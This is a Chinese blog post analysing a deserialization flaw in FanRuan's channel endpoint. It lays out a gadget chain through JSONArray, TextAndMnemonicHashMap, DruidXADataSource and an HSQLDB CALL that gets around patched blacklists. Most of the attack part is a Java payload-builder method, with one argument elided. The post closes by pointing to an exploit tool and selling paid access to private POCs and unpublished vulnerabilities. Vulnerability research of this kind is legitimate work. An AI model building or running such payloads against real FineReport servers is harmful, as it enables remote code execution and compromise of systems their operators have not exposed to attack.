[代码审计]帆软channel反序列化漏洞hsql链浅析利用

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

利用链分析

首先,在Jackson原生反序列化利用链中可以知道,com.fasterxml.jackson.databind.ObjectMapper#writeValueAsString方法会调用传入的对象的无参getter方法,利用com.fasterxml.jackson.databind.node.POJONode类来触发writeValueAsString方法。

在其高版本中,上述类已被加入黑名单,但JSONArray类的toString方法也可以调用到writeValueAsString方法。

调用任意类的toString方法,在第一次补丁中过滤了javax.management.BadAttributeValueExpException,第二次补丁中过滤了com.sun.org.apache.xpath.internal.objects.XString。

可以用大佬挖掘的javax.swing.UIDefaults.TextAndMnemonicHashMap来触发toString,其get方法中调用了key.toString(),key为传入的参数。

现在就是差一个getter来实现完整的利用链,第二次补丁过滤了java.security.SignedObject,无法使用java.security.SignedObject#getObject来实现二次反序列化。

DruidXADataSource类的getXAConnection方法会创造jdbc连接。

而因为存在hsqldb依赖,hsqldb可以利用CALL方法来调用公共静态方法,比如利用javax.naming.InitialContext#doLookup造成jndi注入,不过jndi注入是需要出网的,可以利用com.fr.third.org.hibernate.internal.util.SerializationHelper#deserialize来造成二次反序列化,最终代码。

public static byte[] getPayload(byte[] bytes) throws Exception {

    byte[]  bytes2 = utils.GzipUncompress(Hibernate.getPayload(bytes));
    String hex = utils.bytesToHex(bytes2);

    String call = "call \"com.fr.third.org.hibernate.internal.util.SerializationHelper.deserialize\"(...............);";

    DruidXADataSource druidXADataSource = new DruidXADataSource();
    List<?> list_3 = new ArrayList<>(Arrays.asList(druidXADataSource));
    List<?> list_1 = new ArrayList<>(Arrays.asList(list_3));
    List<?> list_2 = new ArrayList<>(Arrays.asList("1"));
    JSONArray jsonArray_1 = new JSONArray(list_1);
    JSONArray jsonArray_2 = new JSONArray(list_2);

    Constructor<?> t_constructor = utils.getConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
    Object textAndMnemonicHashMap_1 = t_constructor.newInstance();
    Object textAndMnemonicHashMap_2 = t_constructor.newInstance();
    Method putmethod = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getSuperclass().getDeclaredMethod("put", Object.class, Object.class);
    putmethod.setAccessible(true);
    putmethod.invoke(textAndMnemonicHashMap_1, jsonArray_1, 11);
    putmethod.invoke(textAndMnemonicHashMap_2, jsonArray_2, jsonArray_2);

    utils.setFFFieldValue(druidXADataSource,"statLogger",null);
    utils.setFFFieldValue(druidXADataSource,"logWriter",null);
    utils.setFFFieldValue(druidXADataSource,"transactionHistogram",null);
    utils.setFFieldValue(druidXADataSource,"initedLatch",null);
    utils.setFFFieldValue(druidXADataSource,"initialSize",1);
    utils.setFFFieldValue(druidXADataSource,"jdbcUrl","jdbc:hsqldb:mem:test");
    utils.setFFFieldValue(druidXADataSource,"validationQuery",call);

    Hashtable<Object,Object> hashtable = new Hashtable<>();
    hashtable.put(textAndMnemonicHashMap_1,1);
    hashtable.put(textAndMnemonicHashMap_2,1);
    putmethod.invoke(textAndMnemonicHashMap_1, jsonArray_1, jsonArray_1);

    byte[] ser = utils.serialize(hashtable);
    byte[] payload = utils.GzipCompress(ser);
    return payload;
}

反序列化调用栈:

工具利用

参考https://github.com/7wkajk/Frchannel工具进行二开,加入星球获取。

参考链接

https://xz.aliyun.com/t/15432

https://xz.aliyun.com/t/14732

https://github.com/7wkajk/Frchannel

关于星球

星球里有团队内部POC分享。星球定期更新安全内容,包括:内部漏洞库情报分享(包括部分未公开0/1day)、poc利用工具及内部最新研究成果。圈子目前价格为89元(交个朋友),后续人员加入数量多的话会考虑涨价(先到先得!!)感谢师傅们的支持!!

临近中秋,在此也提前祝师傅们中秋快乐。也是申请了10张20元优惠券以及20张10元优惠券供师傅们进星球参观,感谢支持。

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值